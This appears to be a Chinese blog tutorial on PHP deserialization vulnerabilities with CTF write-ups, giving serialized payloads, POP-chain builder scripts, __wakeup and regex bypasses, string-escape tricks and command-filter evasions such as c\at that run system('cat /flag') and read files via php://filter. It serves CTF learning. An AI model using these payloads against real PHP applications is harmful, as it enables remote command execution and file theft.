您的当前位置:首页正文

PHP反序列化漏洞+CTF实例

2024-11-24 来源:个人技术集锦

整理php序列化相关知识点以及在CTF中的实例。


1.magic函数

    类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,这些函数在某些情况下会自动调用

  • __construct:构造函数,当一个对象创建时调用
  • __destruct:析构函数,当一个对象被销毁时调用
  • __toString:在类被当成字符串时触发
  • __sleep:在对象序列化的时候,会调用一个_sleep()方法(即在一个对象被序列化时调用)
  • __wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候,则会自动调用PHP的另一个函数_wakeup()(即在一个对象被反序列化时调用)
  • __call:在对象中调用一个不存在的方法或者不可访问的方法时触发
  • __get:在读取不可访问(protected或private)或不存在的属性时触发
  • __set:在给不可访问(protected或private)或不存在的属性赋值时触发
  • __invoke:在尝试以调用函数的方式调用一个对象时触发

2.php序列化和反序列化

1.什么是序列化?

有时候需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等道道另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)

2.什么情况下需要序列化?

  • 把一个对象在网络中传输的时候
  • 把对象写入文件或是数据库的时候

3.序列化的使用

在php中,使用serialize()函数进行序列化,使用unserialize()函数进行反序列化

4.序列化后的形式:

O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:4:"Mike";}

  • O表示对象
  • 4表示对象名长度为4
  • User为对象名
  • 2表示有两个参数,{}里面时参数的key和value
  • s表示string对象,3表示长度,age为key
  • i表示interger对象,18为value

3.漏洞利用

    利用反序列化漏洞,取决于应用程序的逻辑、可用的类和魔法函数。用户可控,攻击者可以构造恶意的序列化字符串。当应用程序将恶意字符串反序列化为对象后,也就执行了攻击者指定的操作,如代码执行、任意文件读取等。

4.魔术方法绕过

1._wakeup()魔法函数绕过:

触发条件:在反序列化字符串中对象属性个数的值大于实际属性个数时(变量名),可绕过wakeup泛法。(PHP5<5.6.25;PHP7<7.0.10版本存在wakeup的漏洞)

2.正则绕过:可以用+号来进行绕过,+号添加位置-->类名个数

例如:O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

           O:+4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

5.字符串逃逸(闭合)

1.在反序列化函数可控情况下,若服务端存在替换序列化字符串中敏感字符,如:通过修改变量名等个数,造成与实际变量值个数不一致,而反序列化自身机制要求一定要满足字符串长度,则可以通过构造增加减少字符,来达到字符串逃逸。分为两种情况:1.字符增加 2.字符减少

2.存在可以字符串逃逸的情况,在源代码中大多会有preg_replace函数,第一种情况可能是将黑名单的词替换成更长的词,第二种情况可能是将黑名单的词替换成空或者更短的词。 所以针对两种情况,字符串逃逸有两种解题思路

3.字符增加思路:

        1、先构造恶意的序列化字符串,计算该字符串长度

        2、再看自己想要构造的语句,进行分析看自己要逃逸出多少字符,在可以控制的参数(一般是pre_replace针对过滤的那个参数)通过增加变量值进行字符串逃逸。

4.字符减少思路:

大佬wp:

有两种方法:键逃逸和值逃逸。

        1.值逃逸。需要有两个键值对,第一个值被过滤后覆盖后一个键,这样第一个键往后找值,而第二个值种自己有键值对单独存在,这就逃逸出去了。

        2.键逃逸。只需要有一个键值对,直接构造会被过滤的键,则序列化后的值有一部分充当键,一部分充当值。

6.POP链构造

1.POP(Property-Oriented Programing):

简单理解:

A->B B->C A->B->C 函数和类依靠调用进行执行,通过操控A间接操控C

7.CTF实例

BUUCTF-极客大挑战2019PHP(魔术方法绕过)

kali dirmap 安装与使用

 使用dirmap扫描发现访问/www.zip成功得到备份文件

 

2.尝试输入flag.php中的flag,发现错误

3.php源码分析,发现程序通过get获取select参数,对参数进行反序列化。

--> wakeup(),他将username便问guest -->之后进行析构函数destruct(),程序结束。 

只有当username==admin时,才会输出flag,所以需要绕过wakeup()魔术方法。而且需要满足password==100。

利用上面提到的:当反序列化时,当前属性个数大于实际属性个数,就会跳过wakeup()方法,去执行destruct()

<?php
class Name{
    private $username='admin';
    private $password='100';
}
$a=new Name();
$str=serialize($a);
print_r($str);

?>

4.绕过__wakeup(),参数数量大于实际参数数量,将2修改为>2的参数,而且由于这个变量是private修饰,所以需要加上%00充当空格

payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

 BUUCTF-网鼎杯2020青龙组AreUSerialz

1.页面显示源码,分析源码, 发现程序通过get获取str参数,经过is_valid()过滤对参数进行反序列化

-->is_valid()要求传入的str参数的每个字符的ASCII值都在32和125之间。因为protected属性在序列化之后会出现不可见字符%00*%00,%00的ASCII值为0,无法通过is_valid()。绕过方法,将属性改为public。

-->之后进行析构函数destruct(),对op参数进行强比较,而在之后进行的process()中,op==2是弱比较,为了使后面可以运行read()实现文件读取,绕过方法是使传入的op是数字2(int类型),从而使第1个强比较返回false,第2个弱比较返回true

==只是对值的比较,若有一方为数字,另一方为字符串或空或nul,均会先将非数字一方转化为0,再做比较。

而===则是对值和类型的比较

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content = "Hello World!";

}
payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}

2.查看源码,得到flag!!!

BUUCTF-网鼎杯2020朱雀组phpweb 

1.使用bp可以看到程序通过post请求传递了两个参数:func和p,尝试传入file_get_contents获取index.php的源代码

2. 分析源码,发现程序先是有func的黑名单进行过滤,-->gettime()使用了call_user_func()执行函数func

黑名单中过滤很多执行函数,所以需要利用反序列化漏洞

<?php
class Test {
    var $p = "ls /";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a)
?>

BUUCTF-NewStarCTF2023-week2-Unserialize

1.题目显示了源码,进行代码审计:需要传入序列化字符串,里面用preg_match过滤了cat、tac、more、tail、base关键词,需要绕过。

payload1:
unser=O:4:"evil":1:{s:3:"cmd";s:4:"ls /";}

2.cat被过滤,可以用很多方法绕过

payload2:

# 引号绕过
## c\at
unser=O:4:"evil":1:{s:3:"cmd";s:35:"c\at /th1s_1s_fffflllll4444aaaggggg";}
## c``at
unser=O:4:"evil":1:{s:3:"cmd";s:36:"c``at /th1s_1s_fffflllll4444aaaggggg";}
## c'at'
unser=O:4:"evil":1:{s:3:"cmd";s:36:"c'at' /th1s_1s_fffflllll4444aaaggggg";}
## c"at"
unser=O:4:"evil":1:{s:3:"cmd";s:36:"c"at" /th1s_1s_fffflllll4444aaaggggg";}

# 其他命令代替
## sort
unser=O:4:"evil":1:{s:3:"cmd";s:35:"sort /th1s_1s_fffflllll4444aaaggggg";}
## head
unser=O:4:"evil":1:{s:3:"cmd";s:35:"head /th1s_1s_fffflllll4444aaaggggg";}
## nl 显示的时候,顺便输出行号
unser=O:4:"evil":1:{s:3:"cmd";s:33:"nl /th1s_1s_fffflllll4444aaaggggg";}

 BUUCTF-ZJCTF2019 NiZhuanSiwei

1.页面显示源码,分析源码,程序通过get请求传递了3个参数,text,file,password。text需要写入数据等于"welcome to the zjctf",于是用data://协议写入数据。file会匹配flag过滤,提示有useless.php,尝试用php://filter查看源码。password则是利用反序列化漏洞。

payload1:
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

2.得到一段base64编码,解码后得到useless.php的源码,因此传入序列化字符串,查看源码得到flag!!!

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
payload2:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

BUUCTF-安洵杯2019 easy_serialize_php(字符串逃逸)

 1.页面显示源码,分析源码,发现程序通过get传入f参数,如果是highlight_file则显示index.php的源码,如果是phpinfo则显示php相关信息(提示也许可以找到相关信息),发现有可疑文件d0g3_f1ag.php,应该是flag的文件名,如果是show_image则对$_SESSION进行反序列化

2.源码中使用了extract()方法,它容易导致变量覆盖漏洞 

1.变量覆盖漏洞介绍:

        变量覆盖就是通过外部输入将某个变量的值给覆盖掉。将自定义的参数值替换掉原有变量值的情况就是变量覆盖漏洞。

2.常见的可导致变量覆盖的函数或者因素有:

  • register_globals
  • extract()
  • parse_str()
  • mb_parse_str()
  • import_request_variables()
  • $$

 所以extract()变量覆盖后,原先的值会删去,然后重新添加变量。但是在源码中文件读取是应用在$userinfo["img"]-->$_SEESION["img"],它是在extract变量覆盖后赋值的。所以这里需要利用到字符串逃逸和源码中filter函数。

3.这个也是字符串逃逸的,但是是字符减少。根据上面的知识点有两种方法:值逃逸和键逃逸

因为我们需要修改$_SEESION["img"]值为d0g3_f1ag.php,而且源码后面会有base64解码,所以这里的值需要为d0g3_f1ag.php的base64编码值。

payload1: ### 值逃逸
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"ddd";s:1:"a";}
payload2: ###键逃逸
_SESSION["phpflag"]=;s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

 4.然后查看源码可以发现提示了flag所在路径,将base64编码值换成flag所在路径即可得到flag

payload3:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"ddd";s:1:"a";}

BUUCTF-NewStarCTF2023-Week4-逃(字符串逃逸)

1.题目直接给出了源码,分析源码可以看到有可以利用的危险函数system,但是$cmd已经提前赋值,只能执行whoami,所以我们要想办法将whoami给覆盖,换成我们想要的:cat /flag。

2.所以这里要利用字符串逃逸,因为str_replace函数会将bad替换成good,多出1个字符长度,属于字符增加的类型。这里有个公式,含有bad的字符串长度+payload1长度=过滤后的good字符串长度。

3.根据以上公式,payload1长度为29,所以需要29个bad,过滤后多出29个字符长度正好替换掉payload1,使得payload1替换原来的序列化字符串,执行system函数得到flag。

payload1:
";s:3:"cmd";s:9:"cat /flag";}
payload2:
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

BUUCTF-MRCTF2020 Ezpop(pop链构造) 

1.分析源码,有三个类Modifier,Show,Test,如果存在pop get请求参数,则进行反序列化,否则则创建一个show对象,显示welcome to index.php

Modifier中的__invoke()是在尝试以调用函数的方式调用一个对象时触发。

Show中__toString()在类被当成字符串时触发,而且这里的$this->str->source,str不是show类的参数str,而是一个对象

Test中的__get()在读取不可访问(protected或private)或不存在的属性时触发。 

所以需要Modifier中的append方法中的include函数把flag.php包含进去。而用到append方法的是__invoke()函数,想要用到__invoke函数,需要调用Test里面的__get方法,因为return $function()是以函数的方式调用一个对象,会触发__invoke()方法。最后只要访问不存在的属性即可调用__get方法

反向的思路如下:

flag.php->append()->__invoke()->__get()->toString()->定义source为类的对象

2.最终的payload

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

这里直接使用flag.php是不行的,要用到php://filter伪协议进行文件读取,最终进行base64解码得到flag!!!

NSSCTF-NISACTF 2022-babyserialize(pop链构造)

1.打开显示题目源码,要手搓链子(参考上面的博客),先找到链尾即危险函数,在NISA类的__invoke(),把它作为1,然后往上找。按照下面代码输入就可以得到flag

<?php
class NISA{
    public $fun="show";
    public $txw4ever;//1 shell
}
class TianXiWei{
    public $ext;//5 Ilovetxw
    public $x;
}
class Ilovetxw{
    public $huang;//4 four
    public $su;//2 NISA
}
class four{
    public $a = "TXW4EVER";//3 Ilovetxw
    private $fun = 'sixsixsix';//fun='sixsixsix'
}

$a=new TianXiWei();
$b=new Ilovetxw();
$c=new four();
$d=new NISA();
// 从5到1开始写
$a->ext=$b;
$b->huang=$c;
$c->a=$b;
$b->su=$d;
$d->txw4ever="System('cat /f*');";
echo urlencode(serialize($a));
?>

这是hint的内容

 

BUUCTF-NewStarCTF2023-week3-POPGadget(pop链构造)

1.题目打开显示源码,也是先找危险函数,找到WhiteGod类的__unset函数中的($this->func)($this->var),其中修饰符为protected或private的要改为public

($this->func)($this->var)将$this->var作为参数传递给保存在$this->func变量中的函数或方法。

<?php
class Begin{
    public $name;// 6 Then

}

class Then{
    public $func;// 5 Super

}

class Handle{
    public $obj;// 3 CTF
}

class Super{
    public $obj;// 4 Handle
}

class CTF{
    public $handle;// 2 WhiteGod
}

class WhiteGod{
    public $func='system';
    public $var='cat /flag';//1 shell
}
$a=new Begin();
$b=new Then();
$c=new Handle();
$d=new Super();
$m=new CTF();
$n=new WhiteGod();
// 从6到1
$a->name=$b;
$b->func=$d;
$d->obj=$c;
$c->obj=$m;
$m->handle=$n;
echo serialize($a);
//这道题好像用urlencode()无法拿到flag

NSSCTF-NISACTF 2022-popchains(pop链构造)

<?php


class Road_is_Long{
    public $page;// 4 Road_is_Long
    public $string;// 3 Make_a_Change

}

class Try_Work_Hard{
    protected  $var='php://filter/convert.base64-encode/resource=/flag';//1 shell

}

class Make_a_Change{
    public $effort;//2 Try_Work_Hard
}

$a=new Road_is_Long();
$b=new Try_Work_Hard();
$c=new Make_a_Change();
// 从4到1
$a->page=$a;
$a->string=$c;
$c->effort=$b;
echo urlencode(serialize($a));

显示全文